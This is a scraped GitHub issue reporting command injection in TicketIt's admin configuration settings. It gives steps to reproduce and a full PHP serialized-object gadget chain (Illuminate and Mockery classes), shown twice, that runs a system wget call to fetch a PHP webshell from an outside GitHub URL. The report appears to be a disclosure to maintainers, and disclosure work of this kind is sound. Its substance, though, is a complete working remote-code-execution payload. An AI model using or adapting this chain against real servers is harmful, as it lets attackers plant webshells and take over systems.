You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on Aug 10, 2021. It is now read-only.
I recently found it is possible to inject OS commands in the tickets-admin configuration. Steps to reproduce:
Log into TicketIt
Go to Settings -> Configuration
Go to "Initial" tab
Change bootstrap_version from 4 to 3
Go to "Other" tab, click Add New Setting
Put any value you want as the slug
Paste this payload into the "Default Value" and/or "My Value" values: a:2:{i:7;O:29:"Illuminate\Support\MessageBag":2:{S:11:"\00*\00messages";a:0:{}S:9:"\00*\00format";O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:104:"<?php system('wget https://raw.githubusercontent.com/drag0s/php-webshell/master/webshell.php'); exit; ?>";}}}}i:7;i:7;}
Hello,
I recently found it is possible to inject OS commands in the tickets-admin configuration. Steps to reproduce:
a:2:{i:7;O:29:"Illuminate\Support\MessageBag":2:{S:11:"\00*\00messages";a:0:{}S:9:"\00*\00format";O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:104:"<?php system('wget https://raw.githubusercontent.com/drag0s/php-webshell/master/webshell.php'); exit; ?>";}}}}i:7;i:7;}
The text was updated successfully, but these errors were encountered: